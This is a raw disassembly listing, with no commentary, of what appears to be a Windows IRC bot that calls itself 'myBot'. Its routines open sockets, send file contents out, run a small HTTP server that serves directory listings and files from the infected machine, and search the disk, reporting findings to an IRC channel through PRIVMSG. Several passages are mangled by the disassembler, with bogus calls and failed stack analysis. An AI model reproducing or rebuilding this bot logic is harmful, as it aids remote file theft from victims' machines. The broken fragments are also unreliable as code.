E ======================================= ; Attributes: bp-based frame sub_41037E proc near ; CODE XREF: seg000:loc_410236p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call near ptr 3D0000h stosb lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_41D0E0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_410415 test byte ptr [esi+0Ch], 10h jnz short loc_4103F9 push edi mov edi, 400h loc_4103C1: ; CODE XREF: sub_41037E+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_41CDD0 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push ds:dword_4E2644 call ds:dword_4F14E8 ; send push 1 call ds:dword_4F12F4 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_4103C1 pop edi loc_4103F9: ; CODE XREF: sub_41037E+3Bj push esi call sub_41ACF0 pop ecx push ds:dword_4E2644 call ds:dword_4F14D0 ; closesocket call ds:dword_4F14B8 ; WSACleanup push 1 pop eax loc_410415: ; CODE XREF: sub_41037E+35j pop esi leave retn sub_41037E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410418 proc near ; DATA XREF: seg000:0040798Eo ; seg000:00409B83o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41DEB0 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41D100 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call ds:dword_4514F4 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call ds:dword_451570 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_410809 mov eax, [ebp+var_254] push 10h imul eax, 234h mov ds:dword_4523C4[eax], edi lea eax, [ebp+var_24] push eax push edi call ds:dword_451520 cmp eax, 0FFFFFFFFh jz loc_410809 push 7FFFFFFFh push edi call ds:dword_45151C cmp eax, 0FFFFFFFFh jz loc_410809 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call ds:dword_45158C cmp eax, 0FFFFFFFFh jz loc_410809 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_4104EF: ; CODE XREF: sub_410418+3E7j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call ds:dword_4514DC cmp eax, 0FFFFFFFFh jz loc_410804 xor esi, esi mov [ebp+var_4], esi loc_410525: ; CODE XREF: sub_410418+3E1j lea eax, [ebp+var_6F0] push eax push esi call ds:dword_4513E4 test eax, eax jz loc_4107EF cmp esi, [ebp+var_C] jnz short loc_4105A7 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call ds:dword_451584 cmp eax, 0FFFFFFFFh jz loc_4107EF xor ecx, ecx test ebx, ebx jbe short loc_410579 lea edx, [ebp+var_134] loc_41056D: ; CODE XREF: sub_410418+15Fj cmp [edx], eax jz short loc_410579 inc ecx add edx, 4 cmp ecx, ebx jb short loc_41056D loc_410579: ; CODE XREF: sub_410418+14Dj ; sub_410418+157j cmp ecx, ebx jnz short loc_410596 cmp ebx, 40h jnb short loc_410596 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_410596: ; CODE XREF: sub_410418+163j ; sub_410418+168j cmp eax, [ebp+var_8] jbe loc_4107EF mov [ebp+var_8], eax jmp loc_4107EF ; --------------------------------------------------------------------------- loc_4105A7: ; CODE XREF: sub_410418+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41D100 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41D100 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call ds:dword_45150C test eax, eax jg short loc_41063A push esi call ds:dword_451588 xor ecx, ecx test ebx, ebx jbe loc_4107EF lea eax, [ebp+var_134] loc_4105F9: ; CODE XREF: sub_410418+1EBj cmp [eax], esi jz short loc_41060A inc ecx add eax, 4 cmp ecx, ebx jb short loc_4105F9 jmp loc_4107EF ; --------------------------------------------------------------------------- loc_41060A: ; CODE XREF: sub_410418+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_41062E lea eax, [ebp+ecx*4+var_134] loc_410618: ; CODE XREF: sub_410418+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_410618 loc_41062E: ; CODE XREF: sub_410418+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_4107EF ; --------------------------------------------------------------------------- loc_41063A: ; CODE XREF: sub_410418+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41D100 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AC70 add esp, 10h test eax, eax jbe loc_4107EF loc_410668: ; CODE XREF: sub_410418+30Fj mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_410713 lea eax, [ebp+var_18F0] push offset aGet ; "GET " push eax call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_4106E7 lea eax, [ebp+var_18F0] push eax call sub_41AC70 cmp eax, 5 pop ecx jbe short loc_4106E7 push offset asc_449B48 ; " " push offset asc_449B4C ; " " lea eax, [ebp+var_18F0] push offset aGet_0 ; "GET " push eax call sub_41DBE0 pop ecx pop ecx push eax call sub_41DBE0 pop ecx pop ecx push eax call sub_41D6B0 push eax lea eax, [ebp+var_23C] push eax call sub_41E550 add esp, 10h jmp short loc_4106FE ; --------------------------------------------------------------------------- loc_4106E7: ; CODE XREF: sub_410418+27Ej ; sub_410418+290j lea eax, [ebp+var_18F0] push offset asc_449B58 ; "\r\n" push eax call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_410732 loc_4106FE: ; CODE XREF: sub_410418+2CDj push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41D100 add esp, 0Ch or esi, 0FFFFFFFFh loc_410713: ; CODE XREF: sub_410418+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AC70 cmp [ebp+arg_0], eax pop ecx jb loc_410668 jmp loc_4107EF ; --------------------------------------------------------------------------- loc_410732: ; CODE XREF: sub_410418+2E4j xor ecx, ecx test ebx, ebx jbe short loc_41077C lea eax, [ebp+var_134] loc_41073E: ; CODE XREF: sub_410418+333j mov esi, [ebp+var_4] cmp [eax], esi jz short loc_41074F inc ecx add eax, 4 cmp ecx, ebx jb short loc_41073E jmp short loc_41077F ; --------------------------------------------------------------------------- loc_41074F: ; CODE XREF: sub_410418+32Bj lea eax, [ebx-1] cmp ecx, eax jnb short loc_410773 lea eax, [ebp+ecx*4+var_134] loc_41075D: ; CODE XREF: sub_410418+359j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_41075D loc_410773: ; CODE XREF: sub_410418+33Cj dec ebx mov [ebp+var_138], ebx jmp short loc_41077F ; --------------------------------------------------------------------------- loc_41077C: ; CODE XREF: sub_410418+31Ej mov esi, [ebp+var_4] loc_41077F: ; CODE XREF: sub_410418+335j ; sub_410418+362j lea eax, [ebp+var_23C] test eax, eax jz short loc_4107E8 lea eax, [ebp+var_360] push eax call sub_41AC70 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AC70 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_4107E8 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call ds:dword_45158C push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call near ptr loc_4109F8+3 add esp, 14h jmp short loc_4107EF ; --------------------------------------------------------------------------- loc_4107E8: ; CODE XREF: sub_410418+36Fj ; sub_410418+395j push esi call ds:dword_451588 loc_4107EF: ; CODE XREF: sub_410418+11Dj ; sub_410418+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_410525 jmp loc_4104EF ; --------------------------------------------------------------------------- loc_410804: ; CODE XREF: sub_410418+102j mov edi, [ebp+var_C] xor ebx, ebx loc_410809: ; CODE XREF: sub_410418+6Aj ; sub_410418+92j ... call ds:dword_451488 push eax lea eax, [ebp+var_8F0] push offset unk_449B5C push eax call sub_41D260 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_41084F push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40145D add esp, 14h loc_41084F: ; CODE XREF: sub_410418+412j lea eax, [ebp+var_8F0] push eax call sub_4161A7 pop ecx push edi call ds:dword_451588 push [ebp+var_254] call sub_40905B pop ecx push ebx call near ptr 3D0000h dec ebp pop edi pop esi pop ebx sub_410418 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410879 proc near ; DATA XREF: seg000:00410C41o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_1E6AE03D = byte ptr 1E6AE045h push ebp mov ebp, esp mov eax, 1654h call sub_41DEB0 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41D260 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_41D260 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_4108DE push offset aTextHtml ; "text/html" jmp short loc_4108E3 ; --------------------------------------------------------------------------- loc_4108DE: ; CODE XREF: sub_410879+5Cj push offset aApplicationOct ; "application/octet-stream" loc_4108E3: ; CODE XREF: sub_410879+63j lea eax, [ebp+var_9C] push eax call sub_41D260 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 3D0000h cmp cl, [ebp+arg_1E6AE03D] push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 3D0000h daa lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_41095C lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41D260 add esp, 24h jmp short loc_41097D ; --------------------------------------------------------------------------- loc_41095C: ; CODE XREF: sub_410879+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41D260 add esp, 28h loc_41097D: ; CODE XREF: sub_410879+E1j lea eax, [ebp+var_1654] push edi push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call ds:dword_451540 cmp [ebp+var_A4], edi jnz short loc_4109BD lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_41132D pop ecx pop ecx jmp short loc_4109DA ; --------------------------------------------------------------------------- loc_4109BD: ; CODE XREF: sub_410879+12Cj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call loc_410CAB add esp, 10h loc_4109DA: ; CODE XREF: sub_410879+142j push [ebp+var_44C] call ds:dword_451588 push [ebp+var_B4] call sub_40905B pop ecx push edi call near ptr 3D0000h loc_4109F8: ; CODE XREF: sub_410418+3C6p mov edx, 8B555E5Fh sub_410879 endp ; sp-analysis failed in al, dx sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp-210h] push edi push eax mov [ebp-4], edi call sub_41D100 mov eax, [ebp+10h] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_410A31 push eax push offset aS_20 ; "\\%s" jmp short loc_410A3A ; --------------------------------------------------------------------------- loc_410A31: ; CODE XREF: seg000:00410A27j push eax mov byte ptr [eax], 5Ch push offset aS_21 ; "%s" loc_410A3A: ; CODE XREF: seg000:00410A2Fj lea eax, [ebp-10Ch] push eax call sub_41D260 add esp, 0Ch lea eax, [ebp-10Ch] xor esi, esi xor ebx, ebx push eax call sub_41AC70 test eax, eax pop ecx jbe short loc_410AD5 mov dword ptr [ebp+10h], 2 loc_410A65: ; CODE XREF: seg000:00410AD3j lea eax, [ebp-10Ch] push eax call sub_41AC70 cmp [ebp+10h], eax pop ecx jnb short loc_410AA5 cmp byte ptr [ebp+esi-10Ch], 25h jnz short loc_410AA5 cmp byte ptr [ebp+esi-10Bh], 32h jnz short loc_410AA5 cmp byte ptr [ebp+esi-10Ah], 30h jnz short loc_410AA5 inc esi mov byte ptr [ebp+ebx-210h], 20h inc esi add dword ptr [ebp+10h], 2 jmp short loc_410ABF ; --------------------------------------------------------------------------- loc_410AA5: ; CODE XREF: seg000:00410A75j ; seg000:00410A7Fj ... mov al, [ebp+esi-10Ch] cmp al, 2Fh jnz short loc_410AB5 push 5Ch pop eax jmp short loc_410AB8 ; --------------------------------------------------------------------------- loc_410AB5: ; CODE XREF: seg000:00410AAEj movsx eax, al loc_410AB8: ; CODE XREF: seg000:00410AB3j mov [ebp+ebx-210h], al loc_410ABF: ; CODE XREF: seg000:00410AA3j lea eax, [ebp-10Ch] inc esi inc dword ptr [ebp+10h] push eax inc ebx call sub_41AC70 cmp esi, eax pop ecx jb short loc_410A65 loc_410AD5: ; CODE XREF: seg000:00410A5Cj lea eax, [ebp-210h] push eax lea eax, [ebp-314h] push dword ptr [ebp+0Ch] push offset aSS_2 ; "%s%s" push eax call sub_41D260 lea eax, [ebp-314h] push offset asc_449DC0 ; "\n" push eax call sub_41D6B0 add esp, 18h lea eax, [ebp-314h] push eax call ds:dword_4F1334 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_410B23 cmp eax, 0FFFFFFFFh jnz short loc_410B26 push dword ptr [ebp+8] jmp short loc_410BA2 ; --------------------------------------------------------------------------- loc_410B23: ; CODE XREF: seg000:00410B17j mov [ebp-4], esi loc_410B26: ; CODE XREF: seg000:00410B1Cj cmp byte ptr [ebp+ebx-211h], 5Ch jnz short loc_410B33 mov [ebp-4], esi loc_410B33: ; CODE XREF: seg000:00410B2Ej mov ebx, [ebp+8] cmp [ebp-4], edi mov [ebp-6C4h], ebx mov [ebp-318h], edi jz short loc_410BAD cmp [ebp+14h], edi jz short loc_410BA1 lea eax, [ebp-314h] push offset asc_449DC4 ; "*" push eax call sub_41E560 lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax call sub_41D260 lea eax, [ebp-210h] push eax call sub_4113EA lea eax, [ebp-210h] push eax lea eax, [ebp-53Ch] push eax call sub_41D260 add esp, 1Ch or dword ptr [ebp-330h], 0FFFFFFFFh mov [ebp-31Ch], esi jmp short loc_410BFC ; --------------------------------------------------------------------------- loc_410BA1: ; CODE XREF: seg000:00410B4Aj push ebx loc_410BA2: ; CODE XREF: seg000:00410B21j call ds:dword_451588 jmp loc_410CA4 ; --------------------------------------------------------------------------- loc_410BAD: ; CODE XREF: seg000:00410B45j push edi push edi push 3 push edi push esi lea eax, [ebp-314h] push 80000000h push eax call ds:dword_4F1380 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_410BFC lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax call sub_41D260 pop ecx mov [ebp-31Ch], edi pop ecx push edi push esi call near ptr 3D0000h jbe short loc_410C46 mov [ebp-330h], eax call ds:dword_4F12FC ; CloseHandle loc_410BFC: ; CODE XREF: seg000:00410B9Fj ; seg000:00410BCAj mov esi, [ebp+18h] lea eax, [ebp-8C4h] push esi push offset unk_449DC8 push eax call sub_41D260 push edi lea eax, [ebp-8C4h] push 3 push eax call sub_408D3F mov [ebp-32Ch], eax imul eax, 234h add esp, 18h mov ds:dword_4523BC[eax], esi lea eax, [ebp-8] push eax lea eax, [ebp-6C4h] push edi push eax push offset sub_410879 loc_410C46: ; CODE XREF: seg000:00410BEEj push edi push edi call ds:dword_4F131C ; CreateThread mov ecx, [ebp-32Ch] imul ecx, 234h cmp eax, edi mov ds:dword_4523CC[ecx], eax jz short loc_410C76 loc_410C64: ; CODE XREF: seg000:00410C74j cmp [ebp-318h], edi jnz short loc_410CA4 push 5 call ds:dword_4F12F4 ; Sleep jmp short loc_410C64 ; --------------------------------------------------------------------------- loc_410C76: ; CODE XREF: seg000:00410C62j push ebx call ds:dword_451588 call ds:dword_4F1310 ; RtlGetLastWin32Error push eax lea eax, [ebp-8C4h] push offset unk_449E10 push eax call sub_41D260 lea eax, [ebp-8C4h] push eax call sub_4161A7 add esp, 10h loc_410CA4: ; CODE XREF: seg000:00410BA8j ; seg000:00410C6Aj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_410CAB: ; CODE XREF: seg000:00407025p ; sub_410879+159p push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp-594h] push ebx push eax mov [ebp-4], ebx mov [ebp-8], ebx call sub_41D100 mov edi, [ebp+8] push offset asc_449E5C ; "\n" push edi call sub_41D6B0 add esp, 14h cmp [ebp+10h], ebx jz short loc_410D0A push edi mov esi, 200h push dword ptr [ebp+10h] lea eax, [ebp-248h] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41D360 add esp, 14h jmp loc_410E07 ; --------------------------------------------------------------------------- loc_410D0A: ; CODE XREF: seg000:00410CE5j cmp [ebp+14h], ebx push edi jz loc_410DED call sub_41AC70 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp-248h] push esi push eax call sub_41D360 add esp, 14h lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp-248h] push esi push eax call sub_41D360 add esp, 10h lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 push edi call sub_41AC70 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp-248h] push esi push eax call sub_41D360 add esp, 1Ch lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp-248h] push esi push eax call sub_41D360 add esp, 0Ch jmp short loc_410E07 ; --------------------------------------------------------------------------- loc_410DED: ; CODE XREF: seg000:00410D0Ej mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp-248h] push esi push eax call sub_41D360 add esp, 10h loc_410E07: ; CODE XREF: seg000:00410D05j ; seg000:00410DEBj lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 cmp [ebp+14h], ebx jz short loc_410E9F push dword ptr [ebp+14h] call sub_41AC70 cmp eax, 2 pop ecx jbe short loc_410E9F push dword ptr [ebp+14h] call sub_41AC70 sub eax, 3 pop ecx jz short loc_410E53 loc_410E47: ; CODE XREF: seg000:00410E51j mov ecx, [ebp+14h] cmp byte ptr [eax+ecx], 2Fh jz short loc_410E53 dec eax jnz short loc_410E47 loc_410E53: ; CODE XREF: seg000:00410E45j ; seg000:00410E4Ej inc eax push eax lea eax, [ebp-594h] push dword ptr [ebp+14h] push eax call sub_41D800 lea eax, [ebp-594h] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp-248h] push esi push eax call sub_41D360 add esp, 1Ch lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 loc_410E9F: ; CODE XREF: seg000:00410E29j ; seg000:00410E37j lea eax, [ebp-388h] push eax push edi call ds:dword_4F13B4 ; FindFirstFileA lea ecx, [ebp-388h] mov [ebp+8], eax push ecx push eax call ds:dword_4F13B0 ; FindNextFileA test eax, eax jz loc_411290 mov edi, 1FFh loc_410ECB: ; CODE XREF: seg000:0041128Aj cmp [ebp-388h], ebx jz loc_411278 lea eax, [ebp-35Ch] push offset a__ ; ".." push eax call sub_41D900 pop ecx test eax, eax pop ecx jz loc_411278 lea eax, [ebp-35Ch] push offset a__0 ; "." push eax call sub_41D900 pop ecx test eax, eax pop ecx jz loc_411278 lea eax, [ebp-20h] push eax lea eax, [ebp-374h] push eax call near ptr 3D0000h sub cl, [ebp-72AF17BBh] inc ebp loopne near ptr loc_410F73+3 call near ptr 3D0000h adc eax, 0F0458B66h mov ecx, offset aPm_0 ; "PM" cmp ax, 0Ch ja short loc_410F40 mov ecx, offset aAm ; "AM" loc_410F40: ; CODE XREF: seg000:00410F39j cmp ax, 0Ch movzx eax, ax jbe short loc_410F4C sub eax, 0Ch loc_410F4C: ; CODE XREF: seg000:00410F47j push ecx movzx ecx, word ptr [ebp-0Eh] push ecx push eax movzx eax, word ptr [ebp-18h] push eax movzx eax, word ptr [ebp-12h] push eax movzx eax, word ptr [ebp-16h] push eax lea eax, [ebp-48h] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41D260 add esp, 20h loc_410F73: ; CODE XREF: seg000:00410F24j test byte ptr [ebp-388h], 10h jz loc_4110F9 inc dword ptr [ebp-8] cmp [ebp+10h], ebx jz short loc_410FCD lea eax, [ebp-35Ch] push eax push offset aS_22 ; "<%s>" lea eax, [ebp-490h] push 106h push eax call sub_41D360 lea eax, [ebp-48h] push eax lea eax, [ebp-490h] push eax lea eax, [ebp-248h] push dword ptr [ebp+10h] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41D360 add esp, 28h jmp loc_411249 ; --------------------------------------------------------------------------- loc_410FCD: ; CODE XREF: seg000:00410F86j cmp [ebp+14h], ebx jz loc_4110B7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp-248h] push edi push eax call sub_41D360 add esp, 10h lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 lea eax, [ebp-35Ch] push eax lea eax, [ebp-248h] push dword ptr [ebp+14h] push offset aSS_3 ; "%s%s/" push edi push eax call sub_41D360 add esp, 14h lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 lea eax, [ebp-35Ch] push eax call sub_41AC70 cmp eax, 1Eh pop ecx lea eax, [ebp-35Ch] push eax jbe short loc_41106D push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_411072 ; --------------------------------------------------------------------------- loc_41106D: ; CODE XREF: seg000:00411064j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_411072: ; CODE XREF: seg000:0041106Bj lea eax, [ebp-248h] push edi push eax call sub_41D360 add esp, 10h lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 lea eax, [ebp-48h] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_41123A ; --------------------------------------------------------------------------- loc_4110B7: ; CODE XREF: seg000:00410FD0j lea eax, [ebp-35Ch] push eax push offset aS_23 ; "<%s>" lea eax, [ebp-490h] push 106h push eax call sub_41D360 lea eax, [ebp-48h] push eax lea eax, [ebp-490h] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_4110E4: ; CODE XREF: seg000:00411121j lea eax, [ebp-248h] push esi push eax call sub_41D360 add esp, 24h jmp loc_411249 ; --------------------------------------------------------------------------- loc_4110F9: ; CODE XREF: seg000:00410F7Aj inc dword ptr [ebp-4] cmp [ebp+10h], ebx jz short loc_411123 push ebx push dword ptr [ebp-368h] call sub_4169AF push eax lea eax, [ebp-48h] push eax lea eax, [ebp-35Ch] push eax push dword ptr [ebp+10h] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_4110E4 ; --------------------------------------------------------------------------- loc_411123: ; CODE XREF: seg000:004110FFj cmp [ebp+14h], ebx jz loc_411223 push 0E6h push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp-248h] push edi push eax call sub_41D360 add esp, 10h lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 lea eax, [ebp-35Ch] push eax lea eax, [ebp-248h] push dword ptr [ebp+14h] push offset aSS_4 ; "%s%s" push edi push eax call sub_41D360 add esp, 14h lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 lea eax, [ebp-35Ch] push eax call sub_41AC70 cmp eax, 1Fh pop ecx lea eax, [ebp-35Ch] push eax jbe short loc_4111C3 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4111C8 ; --------------------------------------------------------------------------- loc_4111C3: ; CODE XREF: seg000:004111BAj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4111C8: ; CODE XREF: seg000:004111C1j lea eax, [ebp-248h] push edi push eax call sub_41D360 add esp, 10h lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 mov eax, [ebp-368h] shr eax, 0Ah push eax lea eax, [ebp-48h] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp-248h] push edi push eax call sub_41D360 add esp, 1Ch jmp short loc_411249 ; --------------------------------------------------------------------------- loc_411223: ; CODE XREF: seg000:00411126j push dword ptr [ebp-368h] lea eax, [ebp-48h] push eax lea eax, [ebp-35Ch] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_41123A: ; CODE XREF: seg000:004110B2j lea eax, [ebp-248h] push eax call sub_41D360 add esp, 18h loc_411249: ; CODE XREF: seg000:00410FC8j ; seg000:004110F4j ... lea eax, [ebp-248h] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_451540 cmp [ebp+10h], ebx jz short loc_411278 push 7D0h call ds:dword_4F12F4 ; Sleep loc_411278: ; CODE XREF: seg000:00410ED1j ; seg000:00410EECj ... lea eax, [ebp-388h] push eax push dword ptr [ebp+8] call ds:dword_4F13B0 ; FindNextFileA test eax, eax jnz loc_410ECB loc_411290: ; CODE XREF: seg000:00410EC0j push dword ptr [ebp+8] call near ptr 3D0000h cmpsd cmp [ebp+10h], ebx jz short loc_4112D3 mov eax, [ebp-8] cdq push edx push eax call sub_4169AF pop ecx pop ecx push eax mov eax, [ebp-4] cdq push edx push eax call sub_4169AF pop ecx pop ecx push eax lea eax, [ebp-248h] push dword ptr [ebp+10h] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41D260 